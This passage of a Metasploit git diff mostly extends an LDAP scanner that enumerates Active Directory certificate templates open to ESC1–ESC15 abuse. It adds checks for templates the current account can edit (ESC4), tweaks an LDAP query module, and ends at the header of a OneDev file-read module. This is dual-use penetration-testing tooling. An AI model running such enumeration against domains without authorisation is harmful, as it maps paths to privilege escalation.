Msf::Auxiliary 'ESC1' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], 'ESC2' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], 'ESC3' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], + 'ESC4' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], 'ESC13' => [ 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ], 'ESC15' => [ 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc' ] }.freeze SID = Struct.new(:value, :name) do + def ==(other) + value == other.value + end + def to_s - name.present? ? "#{value} (#{name})" : value + name.present? ? "#{value} (#{name})" : value.to_s end def rid @@ -29,6 +36,8 @@ def rid end end + attr_reader :certificate_details + def initialize(info = {}) super( update_info( @@ -45,13 +54,14 @@ def initialize(info = {}) allows enrollment in and which SIDs are authorized to use that certificate server to perform this enrollment operation. - Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC13, - and ESC15. The module is limited to checking for these techniques due to them being identifiable remotely from - a normal user account by analyzing the objects in LDAP. + Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, ESC4, + ESC13, and ESC15. The module is limited to checking for these techniques due to them being identifiable + remotely from a normal user account by analyzing the objects in LDAP. }, 'Author' => [ 'Grant Willcox', # Original module author - 'Spencer McIntyre' # ESC13 and ESC15 updates + 'Spencer McIntyre', # ESC13 and ESC15 updates + 'jheysel-r7' # ESC4 update ], 'References' => [ [ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], @@ -80,6 +90,8 @@ def initialize(info = {}) end # Constants Definition + CERTIFICATE_ATTRIBUTES = %w[cn name description nTSecurityDescriptor msPKI-Certificate-Policy msPKI-Enrollment-Flag msPKI-RA-Signature msPKI-Template-Schema-Version pkiExtendedKeyUsage] + CERTIFICATE_TEMPLATES_BASE = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'.freeze CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT = '0e10c968-78fb-11d2-90d4-00c04f79dc55'.freeze CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT = 'a05b8cc2-17bc-4802-a710-e7c15ab866a2'.freeze CONTROL_ACCESS = 0x00000100 @@ -91,27 +103,32 @@ def initialize(info = {}) DACL_SECURITY_INFORMATION = 0x4 SACL_SECURITY_INFORMATION = 0x8 - def parse_acl(acl) - allowed_sids = [] + # This returns a list of SIDs that have the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT for the given ACL + def enum_acl_aces(acl) acl.aces.each do |ace| - ace_header = ace[:header] - ace_body = ace[:body] - if ace_body[:access_mask].blank? + if ace[:body][:access_mask].blank? fail_with(Failure::UnexpectedReply, 'Encountered a DACL/SACL object without an access mask! Either data is an unrecognized type or we are reading it wrong!') end - ace_type_name = Rex::Proto::MsDtyp::MsDtypAceType.name(ace_header[:ace_type]) + ace_type_name = Rex::Proto::MsDtyp::MsDtypAceType.name(ace[:header][:ace_type]) if ace_type_name.blank? - print_error("Skipping unexpected ACE of type #{ace_header[:ace_type]}. Either the data was read incorrectly or we currently don't support this type.") + print_error("Skipping unexpected ACE of type #{ace[:header][:ace_type]}. Either the data was read incorrectly or we currently don't support this type.") next end - if ace_header[:ace_flags][:inherit_only_ace] == 1 - vprint_warning(' ACE only affects those that inherit from it, not those that it is attached to. Ignoring this ACE, as its not relevant.') + if ace[:header][:ace_flags][:inherit_only_ace] == 1 + # ACE only affects those that inherit from it, not those that it is attached to. Ignoring this ACE, as its not relevant. next end + yield ace_type_name, ace + end + end + + def get_sids_for_enroll(acl) + allowed_sids = [] + enum_acl_aces(acl) do |ace_type_name, ace| # To decode the ObjectType we need to do another query to CN=Configuration,DC=daforest,DC=com # and look at either schemaIDGUID or rightsGUID fields to see if they match this value. - if (object_type = ace_body[:object_type]) && !(object_type == CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT || object_type == CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT) + if (object_type = ace[:body][:object_type]) && !(object_type == CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT || object_type == CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT) # If an object type was specified, only process the rest if it is one of these two (note that objects with no # object types will be processed to make sure we can detect vulnerable templates post exploiting ESC4). next @@ -120,14 +137,31 @@ def parse_acl(acl) # Skip entry if it is not related to an extended access control right, where extended access control right is # described as ADS_RIGHT_DS_CONTROL_ACCESS in the ObjectType field of ACCESS_ALLOWED_OBJECT_ACE. This is # detailed further at https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace - next unless (ace_body.access_mask.protocol & CONTROL_ACCESS) == CONTROL_ACCESS + next unless (ace[:body].access_mask.protocol & CONTROL_ACCESS) == CONTROL_ACCESS if ace_type_name.match(/ALLOWED/) - allowed_sids << ace_body[:sid].to_s + allowed_sids << ace[:body][:sid] end end - allowed_sids + map_sids_to_names(allowed_sids) + end + + # This will return a list of SIDs that can edit the template from which the ACL is derived + # The method checks the WriteOwner, WriteDacl and GenericWrite bits of the access_mask to see if the user or group has write permissions over the Certificate + def get_sids_for_write(acl) + allowed_sids = [] + + enum_acl_aces(acl) do |_ace_type_name, ace| + # Look at WriteOwner, WriteDacl and GenericWrite to see if the user has write permissions over the Certificate + if !(ace[:body][:access_mask][:wo] == 1 || ace[:body][:access_mask][:wd] == 1 || ace[:body][:access_mask][:gw] == 1) + next + end + + allowed_sids << ace[:body][:sid] + end + + map_sids_to_names(allowed_sids) end def query_ldap_server(raw_filter, attributes, base_prefix: nil) @@ -166,71 +200,46 @@ def query_ldap_server(raw_filter, attributes, base_prefix: nil) returned_entries end - def query_ldap_server_certificates(esc_raw_filter, esc_name, notes: []) - attributes = ['cn', 'description', 'ntSecurityDescriptor', 'msPKI-Enrollment-Flag', 'msPKI-RA-Signature', 'PkiExtendedKeyUsage'] - base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration' - esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix) + def query_ldap_server_certificates(esc_raw_filter, esc_id, notes: []) + esc_entries = query_ldap_server(esc_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE) if esc_entries.empty? - print_warning("Couldn't find any vulnerable #{esc_name} templates!") + print_warning("Couldn't find any vulnerable #{esc_id} templates!") return end # Grab a list of certificates that contain vulnerable settings. # Also print out the list of SIDs that can enroll in that server. esc_entries.each do |entry| - begin - security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0]) - rescue IOError => e - fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}") - end - - allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl - next if allowed_sids.empty? - next if allowed_sids.empty? - certificate_symbol = entry[:cn][0].to_sym - if @vuln_certificate_details.key?(certificate_symbol) - @vuln_certificate_details[certificate_symbol][:vulns] << esc_name - @vuln_certificate_details[certificate_symbol][:notes] += notes - else - @vuln_certificate_details[certificate_symbol] = { - vulns: [esc_name], - dn: entry[:dn][0], - certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), - ca_servers_n_enrollment_sids: {}, - manager_approval: ([entry[%s(mspki-enrollment-flag)].first.to_i].pack('l').unpack1('L') & Rex::Proto::MsCrtd::CT_FLAG_PEND_ALL_REQUESTS) != 0, - required_signatures: [entry[%s(mspki-ra-signature)].first.to_i].pack('l').unpack1('L'), - notes: notes - } - end + next if @certificate_details[certificate_symbol][:enroll_sids].empty? + + @certificate_details[certificate_symbol][:techniques] << esc_id + @certificate_details[certificate_symbol][:notes] += notes end end - def convert_sids_to_human_readable_name(sids_array) - output = [] - for sid in sids_array - raw_filter = "(objectSID=#{ldap_escape_filter(sid.to_s)})" - attributes = ['sAMAccountName', 'name'] - base_prefix = 'CN=Configuration' - sid_entry = query_ldap_server(raw_filter, attributes, base_prefix: base_prefix) # First try with prefix to find entries that may be group specific. - sid_entry = query_ldap_server(raw_filter, attributes) if sid_entry.empty? # Retry without prefix if blank. - if sid_entry.empty? - print_warning("Could not find any details on the LDAP server for SID #{sid}!") - output << [sid, nil, nil] # Still want to print out the SID even if we couldn't get additional information. - elsif sid_entry[0][:samaccountname][0] - output << [sid, sid_entry[0][:name][0], sid_entry[0][:samaccountname][0]] - else - output << [sid, sid_entry[0][:name][0], nil] + def map_sids_to_names(sids_array) + mapped = [] + sids_array.each do |sid| + # this common SID doesn't always have an entry + if sid == Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + mapped << SID.new(sid, 'Authenticated Users') + next end - end - results = [] - output.each do |sid_string, sid_name, sam_account_name| - results << SID.new(sid_string, sam_account_name || sid_name) + sid_entry = get_object_by_sid(sid) + if sid_entry.nil? + print_warning("Could not find any details on the LDAP server for SID #{sid}!") + mapped << SID.new(sid, name) + elsif sid_entry[:samaccountname].present? + mapped << SID.new(sid, sid_entry[:samaccountname].first.to_s) + elsif sid_entry[:name].present? + mapped << SID.new(sid, sid_entry[:name].first.to_s) + end end - results + mapped end def find_esc1_vuln_cert_templates @@ -285,14 +294,14 @@ def find_esc3_vuln_cert_templates notes = [ 'ESC3: Template defines the Certificate Request Agent OID (PkiExtendedKeyUsage)' ] - query_ldap_server_certificates(esc3_template_1_raw_filter, 'ESC3_TEMPLATE_1', notes: notes) + query_ldap_server_certificates(esc3_template_1_raw_filter, 'ESC3', notes: notes) # Find the second vulnerable types of ESC3 templates, those that # have the right template schema version and, for those with a template # version of 2 or greater, have an Application Policy Insurance Requirement # requiring the Certificate Request Agent EKU. # - # Additionally the certificate template must also allow for domain authentication + # Additionally, the certificate template must also allow for domain authentication # and the CA must not have any enrollment agent restrictions. esc3_template_2_raw_filter = '(&'\ '(objectclass=pkicertificatetemplate)'\ @@ -315,6 +324,110 @@ def find_esc3_vuln_cert_templates query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2') end + def find_esc4_vuln_cert_templates + # Determine who we are authenticating with. Retrieve the username and user SID + whoami_response = '' + begin + whoami_response = @ldap.ldapwhoami + rescue Net::LDAP::Error => e + print_warning("The module failed to run the ldapwhoami command, ESC4 detection can't continue. Error was: #{e.class}: #{e.message}.") + return + end + + if whoami_response.empty? + print_error("Unable to retrieve the username using ldapwhoami, ESC4 detection can't continue") + return + end + + sam_account_name = whoami_response.split('\\')[1] + user_raw_filter = "(sAMAccountName=#{sam_account_name})" + attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID'] + our_account = query_ldap_server(user_raw_filter, attributes)&.first + if our_account.nil? + print_warning("Unable to determine the User SID for #{sam_account_name}, ESC4 detection can't continue") + return + end + + user_sid = map_sids_to_names([Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first).value]).first + domain_sid = user_sid.value.to_s.rpartition('-').first + user_groups = [] + + if our_account[:primarygroupID] + user_groups << "#{domain_sid}-#{our_account[:primarygroupID]&.first}" + end + + # Authenticated Users includes all users and computers with identities that have been authenticated. + # Authenticated Users doesn't include Guest even if the Guest account has a password. + unless sam_account_name == 'Guest' + user_groups << Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + # Perform an LDAP query to get the groups the user is a part of + # Use LDAP_MATCHING_RULE_IN_CHAIN OID in order to walk the chain of ancestry of groups. + # https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax?redirectedfrom=MSDN + filter_with_user = "(|(member:1.2.840.113556.1.4.1941:=#{our_account[:dn].first})" + user_groups.each do |sid| + obj = get_object_by_sid(sid) + print_error('Failed to lookup SID.') unless obj + + filter_with_user << "(member:1.2.840.113556.1.4.1941:=#{obj[:dn].first})" if obj + end + filter_with_user << ')' + + attributes = ['cn', 'objectSID'] + esc_entries = query_ldap_server(filter_with_user, attributes) + + esc_entries.each do |entry| + group_sid = Rex::Proto::MsDtyp::MsDtypSid.read(entry['ObjectSid'].first).value + user_groups << group_sid + end + user_groups = map_sids_to_names(user_groups) + + # Determine what Certificate Templates are available to us + esc_raw_filter = '(objectclass=pkicertificatetemplate)' + + attributes = ['cn', 'description', 'ntSecurityDescriptor'] + esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: CERTIFICATE_TEMPLATES_BASE) + + return if esc_entries.empty? + + # Determine if the user we've authenticated with has the ability to edit + esc_entries.each do |entry| + certificate_symbol = entry[:cn][0].to_sym + next if @certificate_details[certificate_symbol][:enroll_sids].empty? + + # SIDs that can edit the template + write_priv_sids = @certificate_details[certificate_symbol][:write_sids] + next if write_priv_sids.empty? + + # Check if the user has been give access to edit the template + user_can_edit = user_sid if write_priv_sids.include?(user_sid) + + # Check if any groups the user is a part of can edit the template + group_can_edit = write_priv_sids & user_groups + + # SIDs that can edit the template that the user we've authenticated with are also a part of + user_write_priv_sids = [] + notes = [] + + # Main reason for splitting user_can_edit and group_can_edit is so "note" can be more descriptive + if user_can_edit + user_write_priv_sids << user_can_edit + notes << "ESC4: The account: #{sam_account_name} has edit permissions over the template #{certificate_symbol} making it vulnerable to ESC4" + end + + if group_can_edit.any? + user_write_priv_sids.concat(group_can_edit) + notes << "ESC4: The account: #{sam_account_name} is a part of the following groups: (#{group_can_edit.map(&:name).join(', ')}) which have edit permissions over the template object" + end + + next unless user_write_priv_sids.any? + + @certificate_details[certificate_symbol][:techniques] << 'ESC4' + @certificate_details[certificate_symbol][:notes].concat(notes) + end + end + def find_esc13_vuln_cert_templates esc_raw_filter = <<~FILTER (& @@ -324,9 +437,7 @@ def find_esc13_vuln_cert_templates (mspki-certificate-policy=*) ) FILTER - attributes = ['cn', 'description', 'ntSecurityDescriptor', 'msPKI-Certificate-Policy'] - base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration' - esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix) + esc_entries = query_ldap_server(esc_raw_filter, CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE) if esc_entries.empty? print_warning("Couldn't find any vulnerable ESC13 templates!") @@ -336,14 +447,8 @@ def find_esc13_vuln_cert_templates # Grab a list of certificates that contain vulnerable settings. # Also print out the list of SIDs that can enroll in that server. esc_entries.each do |entry| - begin - security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0]) - rescue IOError => e - fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}") - end - - allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl - next if allowed_sids.empty? + certificate_symbol = entry[:cn][0].to_sym + next if @certificate_details[certificate_symbol][:enroll_sids].empty? groups = [] entry['mspki-certificate-policy'].each do |certificate_policy_oid| @@ -363,17 +468,39 @@ def find_esc13_vuln_cert_templates end next if groups.empty? - note = "ESC13 groups: #{groups.join(', ')}" certificate_symbol = entry[:cn][0].to_sym - if @vuln_certificate_details.key?(certificate_symbol) - @vuln_certificate_details[certificate_symbol][:vulns] << 'ESC13' - @vuln_certificate_details[certificate_symbol][:notes] << note - else - @vuln_certificate_details[certificate_symbol] = { vulns: ['ESC13'], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {}, notes: [note] } - end + @certificate_details[certificate_symbol][:techniques] << 'ESC13' + @certificate_details[certificate_symbol][:notes] << "ESC13 groups: #{groups.join(', ')}" end end + def build_certificate_details(ldap_object, techniques: [], notes: []) + security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(ldap_object[:ntsecuritydescriptor].first) + + if security_descriptor.dacl + enroll_sids = get_sids_for_enroll(security_descriptor.dacl) + write_sids = get_sids_for_write(security_descriptor.dacl) + else + enroll_sids = nil + write_sids = nil + end + + { + name: ldap_object[:cn][0].to_s, + techniques: techniques, + dn: ldap_object[:dn][0].to_s, + enroll_sids: enroll_sids, + write_sids: write_sids, + security_descriptor: security_descriptor, + ekus: ldap_object[:pkiextendedkeyusage].map(&:to_s), + schema_version: ldap_object[%s(mspki-template-schema-version)].first, + ca_servers: {}, + manager_approval: ([ldap_object[%s(mspki-enrollment-flag)].first.to_i].pack('l').unpack1('L') & Rex::Proto::MsCrtd::CT_FLAG_PEND_ALL_REQUESTS) != 0, + required_signatures: [ldap_object[%s(mspki-ra-signature)].first.to_i].pack('l').unpack1('L'), + notes: notes + } + end + def find_esc15_vuln_cert_templates esc_raw_filter = '(&'\ '(objectclass=pkicertificatetemplate)'\ @@ -394,9 +521,9 @@ def find_enrollable_vuln_certificate_templates # allows users to enroll in that certificate template and which users/groups # have permissions to enroll in certificates on each server. - @vuln_certificate_details.each_key do |certificate_template| + @certificate_details.each_key do |certificate_template| certificate_enrollment_raw_filter = "(&(objectClass=pKIEnrollmentService)(certificateTemplates=#{ldap_escape_filter(certificate_template.to_s)}))" - attributes = ['cn', 'dnsHostname', 'ntsecuritydescriptor'] + attributes = ['cn', 'name', 'dnsHostname', 'ntsecuritydescriptor'] base_prefix = 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration' enrollment_ca_data = query_ldap_server(certificate_enrollment_raw_filter, attributes, base_prefix: base_prefix) next if enrollment_ca_data.empty? @@ -408,21 +535,54 @@ def find_enrollable_vuln_certificate_templates fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}") end - allowed_sids = parse_acl(security_descriptor.dacl) if security_descriptor.dacl - next if allowed_sids.empty? - - ca_server_key = ca_server[:dnshostname][0].to_sym - unless @vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids].key?(ca_server_key) - @vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids][ca_server_key] = { cn: ca_server[:cn][0], ca_enrollment_sids: allowed_sids } + enroll_sids = get_sids_for_enroll(security_descriptor.dacl) if security_descriptor.dacl + next if enroll_sids.empty? + + ca_server_fqdn = ca_server[:dnshostname][0].to_s.downcase + unless ca_server_fqdn.blank? + ca_server_ip_address = get_ip_addresses_by_fqdn(ca_server_fqdn)&.first + + if ca_server_ip_address + service = report_service({ + host: ca_server_ip_address, + port: 445, + proto: 'tcp', + name: 'AD CS', + info: "AD CS CA name: #{ca_server[:name][0]}" + }) + + report_note({ + data: ca_server[:dn][0].to_s, + service: service, + host: ca_server_ip_address, + ntype: 'windows.ad.cs.ca.dn' + }) + + report_host({ + host: ca_server_ip_address, + name: ca_server_fqdn + }) + end end + + ca_server_key = ca_server_fqdn.to_sym + next if @certificate_details[certificate_template][:ca_servers].key?(ca_server_key) + + @certificate_details[certificate_template][:ca_servers][ca_server_key] = { + fqdn: ca_server_fqdn, + ip_address: ca_server_ip_address, + enroll_sids: enroll_sids, + name: ca_server[:name][0].to_s, + dn: ca_server[:dn][0].to_s + } end end end def print_vulnerable_cert_info - vuln_certificate_details = @vuln_certificate_details.select do |_key, hash| + vuln_certificate_details = @certificate_details.sort.to_h.select do |_key, hash| select = true - select = false unless datastore['REPORT_PRIVENROLLABLE'] || hash[:certificate_enrollment_sids].any? do |sid| + select = false unless datastore['REPORT_PRIVENROLLABLE'] || hash[:enroll_sids].any? do |sid| # compare based on RIDs to avoid issues language specific issues !(sid.value.starts_with?("#{WellKnownSids::SECURITY_NT_NON_UNIQUE}-") && [ # RID checks @@ -437,36 +597,60 @@ def print_vulnerable_cert_info ].include?(sid.value) end - select = false unless datastore['REPORT_NONENROLLABLE'] || hash[:ca_servers_n_enrollment_sids].any? + select = false unless datastore['REPORT_NONENROLLABLE'] || hash[:ca_servers].any? select end any_esc3t1 = vuln_certificate_details.values.any? do |hash| - hash[:vulns].include?('ESC3_TEMPLATE_1') && (datastore['REPORT_NONENROLLABLE'] || hash[:ca_servers_n_enrollment_sids].any?) + hash[:techniques].include?('ESC3') && (datastore['REPORT_NONENROLLABLE'] || hash[:ca_servers].any?) end vuln_certificate_details.each do |key, hash| - vulns = hash[:vulns] - vulns.delete('ESC3_TEMPLATE_2') unless any_esc3t1 # don't report ESC3_TEMPLATE_2 if there are no instances of ESC3_TEMPLATE_1 - next if vulns.empty? - - vulns.each do |vuln| - vuln = 'ESC3' if vuln == 'ESC3_TEMPLATE_1' - next if vuln == 'ESC3_TEMPLATE_2' - - prefix = "#{vuln}:" - info = hash[:notes].select { |note| note.start_with?(prefix) }.map { |note| note.delete_prefix(prefix).strip }.join("\n") - info = nil if info.blank? - - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'AD CS', - name: "#{vuln} - #{key}", - info: info, - refs: REFERENCES[vuln] - ) + techniques = hash[:techniques].dup + techniques.delete('ESC3_TEMPLATE_2') unless any_esc3t1 # don't report ESC3_TEMPLATE_2 if there are no instances of ESC3 + next if techniques.empty? + + if db + techniques.each do |vuln| + next if vuln == 'ESC3_TEMPLATE_2' + + prefix = "#{vuln}:" + info = hash[:notes].select { |note| note.start_with?(prefix) }.map { |note| note.delete_prefix(prefix).strip }.join("\n") + info = nil if info.blank? + + hash[:ca_servers].each do |ca_fqdn, ca_server| + service = report_service({ + host: ca_server[:ip_address], + port: 445, + proto: 'tcp', + name: 'AD CS', + info: "AD CS CA name: #{ca_server[:name]}" + }) + + if ca_server[:ip_address].present? + vuln = report_vuln( + host: ca_server[:ip_address], + port: 445, + proto: 'tcp', + sname: 'AD CS', + name: "#{vuln} - #{key}", + info: info, + refs: REFERENCES[vuln], + service: service + ) + else + vuln = nil + end + + report_note({ + data: hash[:dn], + service: service, + host: ca_fqdn.to_s, + ntype: 'windows.ad.cs.ca.template.dn', + vuln_id: vuln&.id + }) + end + end end print_good("Template: #{key}") @@ -474,7 +658,7 @@ def print_vulnerable_cert_info print_status(" Distinguished Name: #{hash[:dn]}") print_status(" Manager Approval: #{hash[:manager_approval] ? '%redRequired' : '%grnDisabled'}%clr") print_status(" Required Signatures: #{hash[:required_signatures] == 0 ? '%grn0' : '%red' + hash[:required_signatures].to_s}%clr") - print_good(" Vulnerable to: #{vulns.join(', ')}") + print_good(" Vulnerable to: #{techniques.join(', ')}") if hash[:notes].present? && hash[:notes].length == 1 print_status(" Notes: #{hash[:notes].first}") elsif hash[:notes].present? && hash[:notes].length > 1 @@ -484,16 +668,23 @@ def print_vulnerable_cert_info end end + if hash[:write_sids] + print_status(' Certificate Template Write-Enabled SIDs:') + hash[:write_sids].each do |sid| + print_status(" * #{highlight_sid(sid)}") + end + end + print_status(' Certificate Template Enrollment SIDs:') - hash[:certificate_enrollment_sids].each do |sid| + hash[:enroll_sids].each do |sid| print_status(" * #{highlight_sid(sid)}") end - if hash[:ca_servers_n_enrollment_sids].any? - hash[:ca_servers_n_enrollment_sids].each do |ca_hostname, ca_hash| - print_good(" Issuing CA: #{ca_hash[:cn]} (#{ca_hostname})") + if hash[:ca_servers].any? + hash[:ca_servers].each do |ca_fqdn, ca_hash| + print_good(" Issuing CA: #{ca_hash[:name]} (#{ca_fqdn})") print_status(' Enrollment SIDs:') - convert_sids_to_human_readable_name(ca_hash[:ca_enrollment_sids]).each do |sid| + ca_hash[:enroll_sids].each do |sid| print_status(" * #{highlight_sid(sid)}") end end @@ -515,7 +706,7 @@ def highlight_sid(sid) end def get_pki_object_by_oid(oid) - pki_object = @ldap_mspki_enterprise_oids.find { |o| o['mspki-cert-template-oid'].first == oid } + pki_object = @ldap_objects.find { |o| o['mspki-cert-template-oid']&.first == oid } if pki_object.nil? pki_object = query_ldap_server( @@ -523,14 +714,14 @@ def get_pki_object_by_oid(oid) nil, base_prefix: 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration' )&.first - @ldap_mspki_enterprise_oids << pki_object if pki_object + @ldap_objects << pki_object if pki_object end pki_object end def get_group_by_dn(group_dn) - group = @ldap_groups.find { |o| o['dn'].first == group_dn } + group = @ldap_objects.find { |o| o['dn']&.first == group_dn } if group.nil? cn, _, base = group_dn.partition(',') @@ -540,18 +731,83 @@ def get_group_by_dn(group_dn) nil, base_prefix: base )&.first - @ldap_groups << group if group + @ldap_objects << group if group end group end + def get_object_by_sid(object_sid) + object_sid = Rex::Proto::MsDtyp::MsDtypSid.new(object_sid) + object = @ldap_objects.find { |o| o['objectSID'].first == object_sid.to_binary_s } + + if object.nil? + object = query_ldap_server("(objectSID=#{ldap_escape_filter(object_sid.to_s)})", nil)&.first + @ldap_objects << object if object + end + + object + end + + def get_ip_addresses_by_fqdn(host_fqdn) + return @fqdns[host_fqdn] if @fqdns.key?(host_fqdn) + + vprint_status("Resolving addresses for #{host_fqdn} via DNS.") + begin + ip_addresses = Rex::Socket.getaddresses(host_fqdn) + rescue ::SocketError + print_warning("No IP addresses were found for #{host_fqdn} via DNS.") + else + @fqdns[host_fqdn] = ip_addresses + vprint_status("Found #{ip_addresses.length} IP address#{ip_addresses.length > 1 ? 'es' : ''} via DNS.") + return ip_addresses + end + + vprint_status("Looking up DNS records for #{host_fqdn} in LDAP.") + hostname, _, domain = host_fqdn.partition('.') + begin + results = query_ldap_server( + "(&(objectClass=dnsNode)(DC=#{ldap_escape_filter(hostname)}))", + %w[dnsRecord], + base_prefix: "DC=#{ldap_escape_filter(domain)},CN=MicrosoftDNS,DC=DomainDnsZones" + ) + rescue Msf::Auxiliary::Failed + print_error('Encountered an error while querying LDAP for DNS records.') + @fqdns[host_fqdn] = nil + end + return nil if results.blank? + + ip_addresses = [] + results.first[:dnsrecord].each do |packed| + begin + unpacked = MsDnspDnsRecord.read(packed) + rescue ::EOFError + next + rescue ::IOError + next + end + + next unless [ DnsRecordType::DNS_TYPE_A, DnsRecordType::DNS_TYPE_AAAA ].include?(unpacked.record_type) + + ip_addresses << unpacked.data.to_s + end + + @fqdns[host_fqdn] = ip_addresses + if ip_addresses.empty? + print_warning("No A or AAAA DNS records were found for #{host_fqdn} in LDAP.") + else + vprint_status("Found #{ip_addresses.length} IP address#{ip_addresses.length > 1 ? 'es' : ''} via A and AAAA DNS records.") + end + + ip_addresses + end + def run # Define our instance variables real quick. @base_dn = nil - @ldap_mspki_enterprise_oids = [] - @ldap_groups = [] - @vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details. + @ldap_objects = [] + @fqdns = {} + @certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details. ldap_connect do |ldap| validate_bind_success!(ldap) @@ -567,14 +823,25 @@ def run end @ldap = ldap + templates = query_ldap_server('(objectClass=pkicertificatetemplate)', CERTIFICATE_ATTRIBUTES, base_prefix: CERTIFICATE_TEMPLATES_BASE) + fail_with(Failure::NotFound, 'No certificate templates were found.') if templates.empty? + + templates.each do |template| + certificate_symbol = template[:cn].first.to_sym + @certificate_details[certificate_symbol] = build_certificate_details(template) + end + find_esc1_vuln_cert_templates find_esc2_vuln_cert_templates find_esc3_vuln_cert_templates + find_esc4_vuln_cert_templates find_esc13_vuln_cert_templates find_esc15_vuln_cert_templates find_enrollable_vuln_certificate_templates print_vulnerable_cert_info + + @certificate_details end rescue Errno::ECONNRESET fail_with(Failure::Disconnected, 'The connection was reset.') diff --git a/modules/auxiliary/gather/ldap_query.rb b/modules/auxiliary/gather/ldap_query.rb index 48a4fdad33a3..69d005e389a5 100644 --- a/modules/auxiliary/gather/ldap_query.rb +++ b/modules/auxiliary/gather/ldap_query.rb @@ -129,9 +129,13 @@ def run ldap_connect do |ldap| validate_bind_success!(ldap) - fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") unless ldap.base_dn - base_dn = ldap.base_dn - print_status("#{ldap.peerinfo} Discovered base DN: #{base_dn}") + if datastore['BASE_DN'].blank? + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") unless ldap.base_dn + base_dn = ldap.base_dn + print_status("#{ldap.peerinfo} Discovered base DN: #{base_dn}") + else + base_dn = datastore['BASE_DN'] + end schema_dn = ldap.schema_dn case action.name @@ -149,22 +153,21 @@ def run run_queries_from_file(ldap, parsed_queries, schema_dn, datastore['OUTPUT_FORMAT']) return when 'RUN_SINGLE_QUERY' - unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES'] - fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!') + unless datastore['QUERY_FILTER'] + fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER datastore option!') end print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...") - attributes = datastore['QUERY_ATTRIBUTES'] - if attributes.empty? - fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!') + if datastore['QUERY_ATTRIBUTES'].present? + # Split attributes string into an array of attributes, splitting on the comma character. + # Also downcase for consistency with rest of the code since LDAP searches aren't case sensitive. + attributes = datastore['QUERY_ATTRIBUTES'].downcase.split(',') + + # Strip out leading and trailing whitespace from the attributes before using them. + attributes.map(&:strip!) + else + attributes = nil end - - # Split attributes string into an array of attributes, splitting on the comma character. - # Also downcase for consistency with rest of the code since LDAP searches aren't case sensitive. - attributes = attributes.downcase.split(',') - - # Strip out leading and trailing whitespace from the attributes before using them. - attributes.map(&:strip!) filter_string = datastore['QUERY_FILTER'] query_base = base_dn else diff --git a/modules/auxiliary/gather/onedev_arbitrary_file_read.rb b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb new file mode 100644 index 000000000000..221efe4f7d3a --- /dev/null +++ b/modules/auxiliary/gather/onedev_arbitrary_file_read.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: 